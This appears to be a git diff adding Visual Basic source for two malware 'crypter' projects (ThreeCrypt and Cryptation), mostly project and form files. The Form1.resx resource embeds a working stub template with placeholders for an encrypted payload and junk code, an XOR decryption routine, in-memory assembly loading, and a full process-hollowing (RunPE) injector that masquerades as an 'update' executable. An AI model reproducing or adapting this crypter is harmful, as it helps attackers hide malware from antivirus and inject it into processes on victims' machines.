My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.ThreeCryptStub.My.MySettings + Get + Return Global.ThreeCryptStub.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (ThreeCrypt/ThreeCryptStub/My Project/Settings.settings b/scode (ThreeCrypt/ThreeCryptStub/My Project/Settings.settings new file mode 100644 index 0000000..85b890b --- /dev/null +++ b/scode (ThreeCrypt/ThreeCryptStub/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (ThreeCrypt/ThreeCryptStub/ThreeCryptStub.vbproj b/scode (ThreeCrypt/ThreeCryptStub/ThreeCryptStub.vbproj new file mode 100644 index 0000000..e0e873b --- /dev/null +++ b/scode (ThreeCrypt/ThreeCryptStub/ThreeCryptStub.vbproj @@ -0,0 +1,121 @@ + + + + + Debug + AnyCPU + {246A4BC3-7A48-4AB5-BA8A-A45CB74169D7} + Exe + ThreeCryptStub.Main + ThreeCryptStub + ThreeCryptStub + 512 + Console + v4.5.2 + true + + + AnyCPU + true + full + true + true + bin\Debug\ + ThreeCryptStub.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + ThreeCryptStub.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + + ..\ThreeCrypt\bin\x86\Debug\BouncyCastle.Crypto.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + \ No newline at end of file diff --git a/scode (crypterµ/.DS_Store b/scode (crypterµ/.DS_Store new file mode 100644 index 0000000..2f4499d Binary files /dev/null and b/scode (crypterµ/.DS_Store differ diff --git a/scode (crypterµ/Cryptation.sln b/scode (crypterµ/Cryptation.sln new file mode 100644 index 0000000..1e91fa1 --- /dev/null +++ b/scode (crypterµ/Cryptation.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Basic Express 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Cryptation", "Cryptation.vbproj", "{575EF217-C904-47ED-90CB-E8195B6C851A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {575EF217-C904-47ED-90CB-E8195B6C851A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {575EF217-C904-47ED-90CB-E8195B6C851A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {575EF217-C904-47ED-90CB-E8195B6C851A}.Release|Any CPU.ActiveCfg = Release|Any CPU + {575EF217-C904-47ED-90CB-E8195B6C851A}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (crypterµ/Cryptation.suo b/scode (crypterµ/Cryptation.suo new file mode 100644 index 0000000..8a22ddd Binary files /dev/null and b/scode (crypterµ/Cryptation.suo differ diff --git a/scode (crypterµ/Cryptation.vbproj b/scode (crypterµ/Cryptation.vbproj new file mode 100644 index 0000000..7e73537 --- /dev/null +++ b/scode (crypterµ/Cryptation.vbproj @@ -0,0 +1,132 @@ + + + + Debug + AnyCPU + 9.0.30729 + 2.0 + {575EF217-C904-47ED-90CB-E8195B6C851A} + WinExe + Cryptation.My.MyApplication + Cryptation + Cryptation + 512 + WindowsForms + v4.0 + On + Binary + Off + On + c.ico + + + + + 3.5 + + + true + full + true + true + bin\Debug\ + Cryptation.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + pdbonly + false + true + true + bin\Release\ + Cryptation.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + + + + + + + + 3.5 + + + 3.5 + + + 3.5 + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + \ No newline at end of file diff --git a/scode (crypterµ/Cryptation.vbproj.user b/scode (crypterµ/Cryptation.vbproj.user new file mode 100644 index 0000000..cd2e7cb --- /dev/null +++ b/scode (crypterµ/Cryptation.vbproj.user @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/scode (crypterµ/Form1.Designer.vb b/scode (crypterµ/Form1.Designer.vb new file mode 100644 index 0000000..1ad064b --- /dev/null +++ b/scode (crypterµ/Form1.Designer.vb @@ -0,0 +1,116 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.Button1 = New System.Windows.Forms.Button() + Me.Label1 = New System.Windows.Forms.Label() + Me.Label2 = New System.Windows.Forms.Label() + Me.Button2 = New System.Windows.Forms.Button() + Me.Label3 = New System.Windows.Forms.Label() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.SuspendLayout() + ' + 'Button1 + ' + Me.Button1.Location = New System.Drawing.Point(12, 25) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(189, 27) + Me.Button1.TabIndex = 0 + Me.Button1.Text = " Select File" + Me.Button1.UseVisualStyleBackColor = True + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.Location = New System.Drawing.Point(53, 6) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(65, 13) + Me.Label1.TabIndex = 1 + Me.Label1.Text = "File Loaded:" + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.ForeColor = System.Drawing.Color.Red + Me.Label2.Location = New System.Drawing.Point(124, 6) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(32, 13) + Me.Label2.TabIndex = 2 + Me.Label2.Text = "False" + ' + 'Button2 + ' + Me.Button2.Location = New System.Drawing.Point(12, 57) + Me.Button2.Name = "Button2" + Me.Button2.Size = New System.Drawing.Size(190, 27) + Me.Button2.TabIndex = 4 + Me.Button2.Text = "Crypt" + Me.Button2.UseVisualStyleBackColor = True + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.Location = New System.Drawing.Point(0, 107) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(0, 13) + Me.Label3.TabIndex = 5 + ' + 'TextBox1 + ' + Me.TextBox1.Location = New System.Drawing.Point(12, 114) + Me.TextBox1.Multiline = True + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.ScrollBars = System.Windows.Forms.ScrollBars.Both + Me.TextBox1.Size = New System.Drawing.Size(676, 368) + Me.TextBox1.TabIndex = 6 + Me.TextBox1.Text = resources.GetString("TextBox1.Text") + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(213, 95) + Me.Controls.Add(Me.TextBox1) + Me.Controls.Add(Me.Label3) + Me.Controls.Add(Me.Button2) + Me.Controls.Add(Me.Label2) + Me.Controls.Add(Me.Label1) + Me.Controls.Add(Me.Button1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "Form1" + Me.ShowIcon = False + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents Button2 As System.Windows.Forms.Button + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + +End Class diff --git a/scode (crypterµ/Form1.resx b/scode (crypterµ/Form1.resx new file mode 100644 index 0000000..d47c777 --- /dev/null +++ b/scode (crypterµ/Form1.resx @@ -0,0 +1,1468 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Imports System +Imports System.Net +Imports System.IO +Imports System.Text +Imports System.Reflection +Imports System.Windows.Forms +Imports System.IO.FileStream +Imports Microsoft.VisualBasic +Imports System.Runtime.InteropServices +Imports System.ComponentModel +Imports Microsoft.Win32 +Imports System.Diagnostics +Imports System.Runtime.CompilerServices +Imports System.Object + ++JunkCode+ + +Module +A+ + +Dim +B+ As String = +Virus+ +Dim +C+ As New +N+("+Key+") +Dim +D+ As Byte() = +C+.+M+(Convert.FromBase64String(+B+)) + + +Sub Main() + Dim +G+ As String = Environment.SystemDirectory(0) & ":\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" + Dim +H+ As String = Environment.SystemDirectory(0) & ":\Windows\" & "update+F+.exe" + File.Copy(+G+, +H+) + Try + Assembly.Load(+D+) + Dim +I+ As New Threading.ThreadStart(AddressOf +J+) + +I+.Invoke() + Catch e As Exception + +K+.+L+(+D+, +H+) + End Try +End Sub + +Public Sub +J+() + Dim Resource As String = String.Empty + Dim DD As Byte() = +D+ + Dim EE As Assembly = Assembly.Load(DD) + Dim FF As MethodInfo = [EE].EntryPoint + Dim GG As Object = RuntimeHelpers.GetObjectValue([EE].CreateInstance(FF.Name)) + FF.Invoke(RuntimeHelpers.GetObjectValue(GG), New Object() {New String() {"1"}}) + End Sub + +Public Class +K+ + Public Const PAGE_NOCACHE As Long = &H200 + Public Const PAGE_EXECUTE_READWRITE As Long = &H40 + Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80 + Public Const PAGE_EXECUTE_READ As Long = &H20 + Public Const PAGE_EXECUTE As Long = &H10 + Public Const PAGE_WRITECOPY As Long = &H8 + Public Const PAGE_NOACCESS As Long = &H1 + Public Const PAGE_READWRITE As Long = &H4 + Public Const PAGE_READONLY As UInt32 = &H2 + + Public Shared Sub +L+(ByVal data() As Byte, ByVal target As String) + Dim C = New Context, SH As Section_Header, PI = New Process_Information, SI = New Startup_Information, PS = New Security_Flags, TS = New Security_Flags + Dim GC = GCHandle.Alloc(data, GCHandleType.Pinned) + Dim Buffer As Integer = GC.AddrOfPinnedObject.ToInt32 + Dim DH As New DOS_Header + DH = Marshal.PtrToStructure(GC.AddrOfPinnedObject, DH.GetType) + GC.Free() + Dim CP As CP = CreateAPI(Of CP)("kernel32", "CreateProcessA") + Dim GTC As GTC = CreateAPI(Of GTC)("kernel32", "GetThreadContext") + Dim RPM As RPM = CreateAPI(Of RPM)("kernel32", "ReadProcessMemory") + Dim WPM As WPM = CreateAPI(Of WPM)("kernel32", "WriteProcessMemory") + Dim UVS As UVS = CreateAPI(Of UVS)("ntdll", "ZwUnmapViewOfSection") + Dim VA As VA = CreateAPI(Of VA)("kernel32", "VirtualAllocEx") + Dim STC As STC = CreateAPI(Of STC)("kernel32", "SetThreadContext") + Dim RT As RT = CreateAPI(Of RT)("kernel32", "ResumeThread") + If CP(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return + Dim NH As New NT_Headers + NH = Marshal.PtrToStructure(New IntPtr(Buffer + DH.Address), NH.GetType) + Dim Address, Offset As Long, ret As UInteger + SI.CB = Len(SI) + C.Flags = 65539 + If NH.Signature <> 17744 Or DH.Magic <> 23117 Then Return + If CP(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return + GTC(PI.Thread, C) + RPM(PI.Process, C.Ebx + 8, Address, 4, 0) + UVS(PI.Process, Address) + Dim ImageBase As UInt32 = VA(PI.Process, NH.Optional.Image, NH.Optional.SImage, 12288, 4) + If ImageBase <> 0 Then + WPM(PI.Process, ImageBase, data, NH.Optional.SHeaders, ret) + Offset = DH.Address + 248 + For I As Integer = 0 To NH.File.Sections - 1 + SH = Marshal.PtrToStructure(New IntPtr(Buffer + Offset + I * 40), SH.GetType) + Dim Raw(SH.Size) As Byte + For Y As Integer = 0 To SH.Size - 1 : Raw(Y) = data(SH.Pointer + Y) : Next + WPM(PI.Process, ImageBase + SH.Address, Raw, SH.Size, ret) + Next I + Dim T = BitConverter.GetBytes(ImageBase) + WPM(PI.Process, C.Ebx + 8, T, 4, ret) + C.Eax = ImageBase + NH.Optional.Address + STC(PI.Thread, C) + RT(PI.Thread) + End If + End Sub + Declare Function LoadLibraryA Lib "kernel32" (ByVal name As String) As IntPtr + Declare Function GetProcAddress Lib "kernel32" (ByVal handle As IntPtr, ByVal name As String) As IntPtr + Private Shared Function CreateAPI(Of T)(ByVal name As String, ByVal method As String) As T + Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(name), method), GetType(T)), Object), T) + End Function + <StructLayout(0)> Structure Context + Dim Flags, D0, D1, D2, D3, D6, D7 As UInt32, Save As Save + Dim SG, SF, SE, SD, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SC, EFlags, Esp, SS As UInt32 + <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim Registers As Byte() + End Structure + <StructLayout(0)> Structure Save + Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger + <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte() + Dim State As UInt32 + End Structure + Structure Misc + Dim Address, Size As UInt32 + End Structure + Structure Section_Header + Dim Name As Byte, Misc As Misc, Address, Size, Pointer, PRelocations, PLines, NRelocations, NLines, Flags As UInt32 + End Structure + Structure Process_Information + Dim Process, Thread As IntPtr, ProcessId, ThreadId As Integer + End Structure + <StructLayout(0, CharSet:=3)> Structure Startup_Information + Dim CB As Integer, ReservedA, Desktop, Title As String, X, Y, XSize, YSize, XCount, YCount, Fill, Flags As Integer + Dim ShowWindow, ReservedB As Short, ReservedC, Input, Output, [Error] As Integer + End Structure + <StructLayout(0)> Structure Security_Flags + Dim Length As Integer, Descriptor As IntPtr, Inherit As Integer + End Structure + <StructLayout(0)> Structure DOS_Header + Dim Magic, Last, Pages, Relocations, Size, Minimum, Maximum, SS, SP, Checksum, IP, CS, Table, Overlay As UInt16 + <MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim ReservedA As UInt16() + Dim ID, Info As UInt16 + <MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim ReservedB As UInt16() + Dim Address As Int32 + End Structure + Structure NT_Headers + Dim Signature As UInt32, File As File_Header, [Optional] As Optional_Headers + End Structure + <StructLayout(0)> Structure File_Header + Dim Machine, Sections As UInt16, Stamp, Table, Symbols As UInt32, Size, Flags As UInt16 + End Structure + <StructLayout(0)> Structure Optional_Headers + Public Magic As UInt16, Major, Minor As Byte, SCode, IData, UData, Address, Code, Data, Image As UInt32, SectionA, FileA As UInt32 + Public MajorO, MinorO, MajorI, MinorI, MajorS, MinorS As UInt16, Version, SImage, SHeaders, Checksum As UInt32, Subsystem, Flags As UInt16 + Public SSReserve, SSCommit, SHReserve, SHCommit, LFlags, Count As UInt32 + <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public DataDirectory As Data_Directory() + End Structure + <StructLayout(0)> Structure Data_Directory + Dim Address, Size As UInt32 + End Structure + Delegate Function CP(ByVal name As String, ByVal command As String, ByRef process As Security_Flags, ByRef thread As Security_Flags, ByVal inherit As Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef startup As Startup_Information, <Out()> ByRef info As Process_Information) As Boolean + Delegate Function WPM(ByVal process As IntPtr, ByVal address As Integer, ByVal buffer As Byte(), ByVal size As Integer, <Out()> ByRef written As Integer) As Boolean + Delegate Function RPM(ByVal process As IntPtr, ByVal address As Integer, ByRef buffer As Integer, ByVal size As Integer, ByRef read As Integer) As Integer + Delegate Function VA(ByVal process As IntPtr, ByVal address As Integer, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr + Delegate Function UVS(ByVal process As IntPtr, ByVal address As Integer) As Long + Delegate Function RT(ByVal thread As IntPtr) As UInt32 + Delegate Function GTC(ByVal thread As IntPtr, ByRef context As Context) As Boolean + Delegate Function STC(ByVal thread As IntPtr, ByRef context As Context) As Boolean +End Class + +Public Class +N+ + Public Function +M+(ByVal Data() As Byte) As Byte() + Data = XorCrypt(Data, Encoding.Default.GetBytes(Key)) + Dim i As Integer + Dim ReturnBuffer(Data.Length - 2) As Byte + For i = Data.Length - 1 To 1 Step -1 + 'We just remove The previous byte value from the current one Mod 256. simple + ReturnBuffer(i - 1) = ModuloByte(Data(i), -Data(i - 1)) + Next + Return ReturnBuffer + End Function + Private Function ModuloByte(ByVal MyByte As Byte, ByVal Addition As Int16) As Byte + While Addition < 0 + Addition += 256 + End While + Return Convert.ToByte((MyByte + Addition) Mod 256) + End Function + Private Function XorCrypt(ByVal Data() As Byte, ByVal Key() As Byte) As Byte() + If Key.Length <> 0 Then + Dim i As Integer + For i = 0 To Data.Length - 1 + Data(i) = Data(i) Xor ModuloByte(Key(i Mod Key.Length), [Key](Key(i Mod Key.Length) Mod Key.Length)) Xor [Key](((i + (i Mod 7)) Mod Key.Length) Mod Key.Length) + Next + End If + Return Data + End Function + Private sKey As String = "" + Public Property Key() As String + Get + Return sKey + End Get + Set(ByVal value As String) + sKey = value + End Set + End Property + Public Sub New(ByVal Key As String) + Me.Key = Key + End Sub + Public Sub New() + Me.Key = "" + End Sub + End Class +End Module + ++MoreJunk+ + + + + + + + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAABABMLAAATCwAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAA + AAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAA + AAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA + AAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAA + AAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAA + AAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAA + AAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKeZBAAAAAAAAAAAAQAAAAEAAAABAAAAAQAA + AAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAA + AAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAIAAAABAAAAAQAA + AAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wgA//8IAP// + CADDtAUAc2kEAEM+AgEeHAEBIh8BASIgAQEoJAECKCUBAyglAQMoJQEDKCUBAyglAQMoJQEDKCUBAygl + AQMoJQEDKCUBAyglAQMoJQEDKCUBAyglAQMoJQEDKCUBAyglAQMoJQEDKCUBAyglAQMpJgEDHBoBAxIR + AQIUEgECFBMBAhUUAQIXFQECBgYAAgAAAAIAAAABAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//CAD75wgA/+4IALCiBQB6cAQBf3UEAm1kBAJUTgMDVU8DA2Ja + AwRjXAMFY1sDBWNbAwVjWwMFY1sDBWNbAwVjWwMFY1sDBWNbAwVjWwMFY1sDBWNbAwVjWwMFY1sDBWNb + AwVjWwMFY1sDBWNbAwVjWwMFY1sDBWpiAwVRSgIEPjkCBD86AgQ/OgIEPjkCBEQ/AgQXFQEDAAAAAgIC + AAIAAAACAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wgA/+YIAPzo + CAH//wgBoJMFAamcBQOmmQUEnI8FBI+DBAWCeAQFi4AEBoR6BAeAdwQHgXcEB4F3BAeBdwQHgXcEB4F3 + BAeBdwQHgXcEB4F3BAeBdwQHgXcEB4F3BAeBdwQHgXcEB4F3BAeBdwQHgXcEB4F3BAeBdwQHgXcEB350 + BAd0awMHbWQDBmxkAwZfVwMGUEkDBTUxAgQrJwEDIB4BAwAAAAIAAAACAAAAAQAAAAEAAAAAAAAAAAAA + 